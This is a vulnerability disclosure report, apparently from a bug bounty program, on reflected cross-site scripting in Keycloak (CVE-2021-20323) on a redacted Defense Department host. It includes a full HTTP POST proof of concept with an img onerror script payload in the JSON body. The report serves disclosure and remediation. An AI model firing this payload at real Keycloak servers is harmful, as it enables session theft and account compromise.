U.S. Dept Of Defense · Report #2221104
Reflected XSS via Keycloak on ███ [CVE-2021-20323]
How it was found
Keycloak 8.0 and prior contains a cross-site scripting vulnerability. An attacker can execute arbitrary script and thus steal cookie-based authentication credentials and launch other attacks. A lack of proper input validation made it possible for an attacker to execute malicious JavaScript code on https://██████████/auth/realms/master/clients-registrations/openid-connect This reflected XSS would execute after making a POST request with an XSS payload in the path of the request. As a result, the server would directly insert the payload into the response, allowing the XSS to trigger on the page. References https://cure53.de/pentest-report_keycloak.pdf https://hackerone.com/reports/87040 POC:
POST /auth/realms/master/clients-registrations/openid-connect HTTP/1.1
Host: █████
Sec-Ch-Ua:
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: ""
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 63
{"<img onerror=confirm('xss_poc_unexpectedbufferc0n') src/>":1}
Impact
If successful, a cross site scripting attack can severely impact websites and web applications, damage their reputation and relationships with customers. XXS can deface websites, can result in compromised user accounts, and can run malicious code on web pages, which can lead to a compromise of the user's device.
System Host(s)
██████
Affected Product(s) and Version(s)
CVE Numbers
Steps to Reproduce
run POC